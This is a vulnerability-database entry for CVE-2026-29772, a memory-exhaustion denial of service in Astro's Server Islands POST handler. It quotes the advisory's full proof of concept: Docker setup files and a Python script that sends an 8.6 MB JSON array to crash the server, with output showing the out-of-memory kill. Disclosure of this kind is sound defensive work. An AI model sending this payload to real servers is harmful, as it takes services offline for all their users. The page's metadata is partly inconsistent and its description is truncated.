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🛡️ CVE-2026-29772 — node

🟡 CVSS 5.9 — Medium ✅ No Known Exploit CWE-770 NVD
5.9
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Astro: Memory exhaustion DoS due to missing request body size limit in Server Islands ### Summary Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because `JSON.parse()` allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The `/_server-islands/[name]` route is registered on all Astro SSR apps regardless of whether any component uses `server:defer`, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected. ### Details Astro automatically registers a Server Islands route at `/_server-islands/[name]` on all SSR apps, regardless of whether any component uses `server:defer`. The POST handler in `packages/astro/src/core/server-islands/endpoint.ts` buffers the entire request body into memory and parses it as JSON with no size or depth limit: ```js // packages/astro/src/core/server-islands/endpoint.ts (lines 55-56) const raw = await request.text(); // full body buffered into memory — no size limit const data = JSON.parse(raw); // parsed into V8 object graph — no element count limit ``` The request body is parsed before the island name is validated, so the attacker does not need to know any valid island name — `/_server-islands/anything` triggers the vulnerable code path. No authentication is required. Additionally, `JSON.parse()` allocates a heap object for every array/object in the input, so a payload consisting of many empty JSON objects (e.g., `[{},{},{},...]`) achieves ~15x memory amplification (wire bytes to heap bytes). The entire object graph is held as a single live reference until parsing completes, preventing garbage collection. An 8.6 MB request is sufficient to crash a server with a 128 MB heap limit. ### PoC **Environment:** Astro 5.18.0, `@astrojs/node` 9.5.4, Node.js 22 with `--max-old-space-size=128`. The app does **not** use `server:defer` — this is a minimal SSR setup with no server island components. The route is still registered and exploitable. **Setup files:** `package.json`: ```json { "name": "poc-server-islands-dos", "scripts": { "build": "astro build", "start": "node --max-old-space-size=128 dist/server/entry.mjs" }, "dependencies": { "astro": "5.18.0", "@astrojs/node": "9.5.4" } } ``` `astro.config.mjs`: ```js import { defineConfig } from 'astro/config'; import node from '@astrojs/node'; export default defineConfig({ output: 'server', adapter: node({ mode: 'standalone' }), }); ``` `src/pages/index.astro`: ```astro Astro App

Hello

Just a plain SSR page. No server islands.

``` `Dockerfile`: ```dockerfile FROM node:22-slim WORKDIR /app COPY package.json . RUN npm install COPY . . RUN npm run build EXPOSE 4321 CMD ["node", "--max-old-space-size=128", "dist/server/entry.mjs"] ``` `docker-compose.yml`: ```yaml services: astro: build: . ports: - "4321:4321" deploy: resources: limits: memory: 256m ``` **Reproduction:** ```bash # Build and start docker compose up -d # Verify server is running curl http://localhost:4321/ # => 200 OK ``` `crash.py`: ```python import requests # Any path under /_server-islands/ works — no valid island name needed TARGET = "http://localhost:4321/_server-islands/x" # 3M empty objects: each {} is ~3 bytes JSON but ~56-80 bytes as V8 object # 8.6 MB on wire → ~180+ MB heap allocation → exceeds 128 MB limit n = 3_000_000 payload = '[' + ','.join(['{}'] * n) + ']' print(f"Payload: {len(payload) / (1024*1024):.1f} MB") try: r = requests.post(TARGET, data=payload, headers={"Content-Type": "application/json"}, timeout=30) print(f"Status: {r.status_code}") except requests.exceptions.ConnectionError: print("Server crashed (OOM killed)") ``` ``` $ python crash.py Payload: 8.6 MB Server crashed (OOM killed) $ curl http://localhost:4321/ curl: (7) Failed to connect to localhost port 4321: Connection refused $ docker compose ps NAME IMAGE COMMAND SERVICE CREATED STATUS PORTS (empty — container was OOM killed) ``` The server process is killed and does not recover. Repeated requests in a containerized environment with restart policies cause a persistent crash-restart loop. ### Impact Any Astro SSR app with the Node standalone adapter is affected — the `/_server-islands/[name]` route is registered by default regardless of whether any component uses `server:defer`. Unauthenticated attackers can crash the server process with a single crafted HTTP request under 9 MB. In containerized environments with memory limits, repeated requests cause a persistent crash-restart loop, denying service to all users. The attack requires no a

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality none, integrity none, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Unchanged — the damage stays inside the vulnerable component.
  • Confidentiality impact: None.
  • Integrity impact: None.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-29772 is classified as CWE-770: Allocation of Resources Without Limits. Resources are allocated on request with no cap, so a client can exhaust them.

Affected software

CVE-2026-29772 is recorded against 2 packages.

  • @astrojs/node
  • \@astrojs\/node (from 9.0.0 up to 10.0.0)

Timeline and source

Published on 24 March 2026 and last revised on 30 March 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Web)
github.com (Package)
github.com (Web)

Other advisories for this package

@astrojs/node has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-770: Allocation of Resources Without Limits) in other software:

Details

Severity Medium
CVSS Score 5.9
CVSS Vector CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
CWE CWE-770
Public Exploit ✅ No
Source NVD
Published 2026-03-24
Updated 2026-08-20
Modified 2026-03-30
Fix URL N/A

Affected Packages

Software From version Fixed in
@astrojs/node
\@astrojs\/node 9.0.0 10.0.0

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